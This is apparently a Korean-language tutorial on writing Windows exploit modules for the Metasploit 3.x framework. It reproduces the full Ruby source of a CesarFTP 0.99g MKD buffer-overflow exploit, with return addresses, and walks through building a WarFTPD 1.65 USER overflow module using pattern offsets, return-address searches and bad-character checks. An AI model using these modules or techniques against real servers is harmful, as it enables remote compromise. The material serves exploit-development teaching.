how_2_write_Exploit_4_the_MSF_v3.x.hwp

Similar documents
취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

Deok9_Exploit Technique

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

Install stm32cubemx and st-link utility

Microsoft Word - MSOffice_WPS_analysis.doc

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

RHEV 2.2 인증서 만료 확인 및 갱신

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

BEef 사용법.pages

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

hlogin2

PowerPoint Template

API 매뉴얼

1.hwp

Windows Server 2012

슬라이드 1

슬라이드 1

17장 클래스와 메소드

비디오 / 그래픽 아답터 네트워크 만약에 ArcGolbe를 사용하는 경우, 추가적인 디스크 공간 필요. ArcGlobe는 캐시파일을 생성하여 사용 24 비트 그래픽 가속기 Oepn GL 2.0 이상을 지원하는 비디오카드 최소 64 MB 이고 256 MB 이상을 메모리

Exploit writing tutorials

6강.hwp

JMF2_심빈구.PDF

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

Dialog Box 실행파일을 Web에 포함시키는 방법

Microsoft PowerPoint - chap01-C언어개요.pptx

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

ActFax 4.31 Local Privilege Escalation Exploit

untitled

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

Microsoft Word - Armjtag_문서1.doc

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

ActFax 4.31 Local Privilege Escalation Exploit

H3050(aap)

Interstage5 SOAP서비스 설정 가이드

1. Execution sequence 첫번째로 GameGuard 의실행순서는다음과같습니다 오전 10:10:03 Type : Create 오전 10:10:03 Parent ID : 0xA 오전 10:10:03 Pro

Microsoft Word - building the win32 shellcode 01.doc

vi 사용법

!K_InDesginCS_NFH

ISP and CodeVisionAVR C Compiler.hwp

Title Here

server name>/arcgis/rest/services server name>/<web adaptor name>/rest/services ArcGIS 10.1 for Server System requirements - 지

목차 윈도우드라이버 1. 매뉴얼안내 운영체제 (OS) 환경 윈도우드라이버준비 윈도우드라이버설치 Windows XP/Server 2003 에서설치 Serial 또는 Parallel 포트의경우.

Adobe Flash 취약점 분석 (CVE )

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

<41736D6C6F D20B9AEBCADBEE7BDC42E687770>

Chapter 1

Microsoft Word - src.doc

PowerPoint 프레젠테이션

서현수

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Android Master Key Vulnerability

IDA 5.x Manual hwp

User's Guide Manual

vRealize Automation용 VMware Remote Console - VMware

PART

Part Part

£01¦4Àå-2

½ºÅ丮ÅÚ¸µ3_³»Áö

272*406OSAKAÃÖÁ¾-¼öÁ¤b64ٽÚ

PCServerMgmt7

Ä¡¿ì³»ÁöÃÖÁ¾

API 매뉴얼

170

006- 5¿ùc03ÖÁ¾T300çÃâ

JVM 메모리구조

PowerPoint Presentation

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc

<4D F736F F F696E74202D E20C0CEC5CDB3DD20C0C0BFEB20B9D720BCADBAF1BDBA20B1E2BCFA E >

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

VPN.hwp

Microsoft PowerPoint APUE(Intro).ppt

Microsoft Word - GOM-StackOverFlow.doc

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

Microsoft PowerPoint - polling.pptx

JMF3_심빈구.PDF

설계란 무엇인가?

6주차.key

MasoJava4_Dongbin.PDF

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

소개 TeraStation 을 구입해 주셔서 감사합니다! 이 사용 설명서는 TeraStation 구성 정보를 제공합니다. 제품은 계속 업데이트되므로, 이 설명서의 이미지 및 텍스트는 사용자가 보유 중인 TeraStation 에 표시 된 이미지 및 텍스트와 약간 다를 수

BMP 파일 처리

Week13

목 차 1. 드라이버 설치 설치환경 드라이버 설치 시 주의사항 USB 드라이버 파일 Windows XP에서 설치 Windows Vista / Windows 7에서 설치 Windows

슬라이드 1

아이콘의 정의 본 사용자 설명서에서는 다음 아이콘을 사용합니다. 참고 참고는 발생할 수 있는 상황에 대처하는 방법을 알려 주거나 다른 기능과 함께 작동하는 방법에 대한 요령을 제공합니다. 상표 Brother 로고는 Brother Industries, Ltd.의 등록 상

목차 데모 홖경 및 개요... 3 테스트 서버 설정... 4 DC (Domain Controller) 서버 설정... 4 RDSH (Remote Desktop Session Host) 서버 설정... 9 W7CLIENT (Windows 7 Client) 클라이얶트 설정

Orcad Capture 9.x

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - Exploit writing tutorial part 1.doc

13주-14주proc.PDF

Microsoft PowerPoint - 07-Data Manipulation.pptx

Microsoft Word - FunctionCall

Transcription:

Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 -

목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기 3.2 Exploit module 작성하기 3.3 취약한프로그램에대한간단한실습 3.3 공격지점찾기 3.3.1 사용가능한공간찾기 3.3.2 Return address 찾기 3.3.3 Bad character 처리 4. 마무리 - 2 -

1. 소개및개요 본문서는 Ruby언어로만들어진 Metasploit Framework 3.x에서윈도우 Exploit 작성을설명할것입니다. 하지만 Fuzzing 같이취약점을찾는설명을하지않습니다. Metasploit은쉽고빠르게 exploit 작성이가능케했습니다. 2. 필요한배경지식 - 약간의 Metasploit Framework 사용방법 - 약간의프로그래밍지식 - 윈도우메모리관리에대한이해 (Heap, Stack, Registers) 3. Exploit module 실습 Metasploit 에서는 Exploit module 이라고합니다. 3.1 Exploit module 수정하기 Exploit module은다음폴더에위치해있습니다. 해당코드는다음과같습니다. ## # $Id: cesarftp_mkd.rb 4419 2007-02-18 00:10:39Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/framework/ - 3 -

## require 'msf/core' # core library 는항상필요합니다. module Msf # 이줄은항상적어야합니다. class Exploits::Windows::Ftp::Cesarftp_Mkd < Msf::Exploit::Remote (Exploits::Windows::Ftp::Cesarftp_Mkd) 클래스의해당파일은 (/root/framework-3.0/modules/exploits/windows/ftp/cesarftp_mkd.rb) 에위치합니다. (cesarftp_mkd.rb) 모듈은 (Cesarftp_Mkd) 과같이클래스의이름과동일해야합니다. include Exploit::Remote::Ftp #MSF 에서제공하는함수인 Ftp 를사용합니다. def initialize(info = {}) super(update_info(info, 'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', # 콘솔에표시될 Exploit의이름을적습니다. 'Description' => %q{ This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g. # 모듈과취약점에관한간단한설명을적습니다. }, 'Author' => 'MC', # 해당모듈의제작자를적습니다. 'License' => MSF_LICENSE, #license 타입입니다. 'Version' => '$Revision: 4419 $', # 모듈의버전을적습니다. 'References' => # 취약점에대한참고할수있는 URL을적습니다. [ [ 'BID', '18586'], [ 'CVE', '2006-2961'], [ 'URL', 'http://secunia.com/advisories/20574/' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 250, # 쉘코드를저장하기위한최대공간을 - 4 -

적습니다. 을적습니다. 0x77e14c29 } ], 0x76b43ae0 } ], 0x76AA679b } ], 'BadChars' => " x00 x20 x0a x0d", #Bad character 들 'StackAdjustment' => -3500, }, 'Platform' => 'win', # 공격시스템의운영체제를적습니다. 'Targets' => # 공격가능한환경와 and 리턴주소를적습니다. [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => [ 'Windows XP SP2 English', { 'Ret' => [ 'Windows 2003 SP1 English', { 'Ret' => ], 'DisclosureDate' => 'Jun 12 2006', # 작성된날짜를적습니다. 'DefaultTarget' => 0 # 기본적으로공격시스템을정하게됩니다. 이코드의경우에는 (Windows 2000 Pro SP4 English) 이됩니다. ) ) def check # 실습이가능한지확인합니다. connect disconnect if (banner =~ /CesarFTP 0.99g/) return Exploit::CheckCode::Vulnerable 서버로부터 banner가돌아올때실습이가능함을알수있습니다. return Exploit::CheckCode::Safe # 실습이불가능합니다. def exploit #Exploit을정의합니다. connect_login #Ftp login 함수를사용합니다. sploit = " n" * 671 + Rex::Text.rand_text_english(3, payload_badchars) #Padding을만듭니다. sploit << [target.ret].pack('v') + make_nops(40) + payload.encoded # 리턴주소 (little ian converted) + nop sled + payload print_status("trying target #{target.name}...") - 5 -

s_cmd( ['MKD', sploit], false) # 대상시스템에공격코드를보냅니다. handler disconnect # 연결을종료합니다. 3.2 Exploit module 작성하기 Exploit module 실습을위해서 Buffer over flow에대해서취약점이존재하는 WarFTPD version 1.5를사용하겠습니다. 해당프로그램을설치후데몬을실행합니다. No anonymous logins를체크해제합니다.go Online/Offline 버튼을선택합니다. 다음과같이코드를작성합니다. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit - 6 -

# Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/framework/ ## require 'msf/core' module Msf class Exploits::Windows::Ftp::WarFtpd < Msf::Exploit::Remote include Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' 'Description' => 'War-FTPD 1.65 Username Overflow', => %q{ command This module exploits a buffer overflow found in the USER of War-FTPD 1.65. }, # 설명부분 'Author' => 'Your Name', # 자신의이름을적습니다. 'License' 'Version' => MSF_LICENSE, => '$Revision: 1 $', 'References' => [ [ 'URL', ' http://osvdb.org/displayvuln.php?osvdb_id=875&print' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' - 7 -

}, 'Payload' => { 정확한정보가없습니다. 'Space' => 1000, # 디버깅을안했으므로아직 'BadChars' => " x00" # 디버깅을안했으므로아직정확한정보가없습니다. }, 'Targets' => [ # Target 0 [ 'Our Windows Target', SP2) # 공격대상의환경을적습니다. ( 예 : Windows xp { 다. 'Platform' => 'win', # 윈도우를선택합니 'Ret' => 0x01020304 가없습니다. # 디버깅을안했으므로아직정확한정보 } ] ] ) ) def exploit connect print_status("trying target #{target.name}...") - 8 -

내봅니다. exploit = 'A' * 1000 # 취약점을테스트하기위해서 A 문자 1000 개를보 s_cmd( ['USER', exploit], false ) handler disconnect 3.3 취약한프로그램에대한간단한실습 (1) 작성한 Exploit 을실행합니다. 공격후 Warftpd가강제적으로종료됨을확인할수있습니다. 이는 BOF를일으켜서종료된것이므로공격이성공적임을알수있습니다. - 9 -

(2) Warftpd 를재실행후 Ollydbg 에서 Attach 로프로세스를불러옵니다. (3) Exploit을다시보내면 Access violation 메시지를확인할수있고 EIP레지스터의내용이 41414141로덮어쓰게됨을알수있습니다. - 10 -

3.3 공격지점찾기 3.3.1 사용가능한공간찾기이제우리의쉘코드 (Payload) 가메모리에서저장될수있는충분한공간을찾아야합니다. (1) Patterncreate() 함수를이용해서반복적이기않고영문자숫자형태로되어있는 1000개의문자들을만들것입니다. 이실행파일은 /root/framework-3.0/tools/ 에있습니다. 이문자들을 Exploit하는데사용할것입니다. (2) 새로생성한문자들을 Exploit 변수로옮깁니다. (3) Ollydbg에서 Warftpd를불러들인상태에서수정한 exploit을다시보냅니다. 다음과같이 EIP가패턴문자 (31714131) 로덮어쓰였음을알수있습니다. - 11 -

3.3 공격지점찾기 3.3.1 사용가능한공간찾기 (1) PatternOffset() 함수를이용하여패턴문자의첫부분부터인터럽트가걸린값까지의거리를알기위해사용합니다. 다음그림은 EIP 레지스터의내용인 32714131 까지의거리가 485byte 임을나타내고있습니다. (2) 이젠거리를알았으니 Exploit 코드의 space 변수의값을 485 로수정합니다. - 12 -

3.3.2 Return address 찾기 Msfpescan 을이용하여 opcode 를위한리턴주소를찾습니다. - msfpescan 에대한기본정보는다음과같습니다. 이툴외로도 MSF Opcode 데이터베이스, eeye 의 eereap 등의툴들이있습니다. 이문서는취약한프로그램에대한실제공격을위한문서가아니므로방법만제시하겠습니다. 3.3.3 Bad character 처리 Exploit이성공적으로이루어지기위해서는쉘코드안에있는 Null 문자들을치환해야합니다. 또한어떤어플리케이션은대문자로바꾸기도합니다. 따라서 Bad caracter처리는 Exploit전에꼭해야하는과정이라고할수있습니다. (1) Bad character를찾기위해디버거가 Warftpd를불러온상태에서 ASCII 테이블의모든문자를 exploit변수에담아서보내봅니다. Access violation이걸린상태에서 Esp register에대한옵션중 follow in dump를선택해서우리가보낸문자들과메모리에저장된문자들이일치하는지확인하는과정으로 Bad character를찾습니다. (2) Bad character를찾게된경우그문자를삭제하고다시보내면서우리가보낸문자들을완벽하게디버거에서확인할때까지반복합니다. -_-; - 13 -

4. 마무리 이문서는 Metasploit을이용한 Exploit제작방법에대해서간단하게알아봤습니다. 간혹공격성공후 Shell prompt가보고싶었을분도계실수있는데본문서의목적은공격성공이아니라전반적인 Exploit제작방법을말씀드리고싶은것이니양해부탁드립니다. 분명혼자연습하시면서성공하시리라생각됩니다. :-) 읽어주셔서감사합니다. 좋은하루되세요!. - 14 -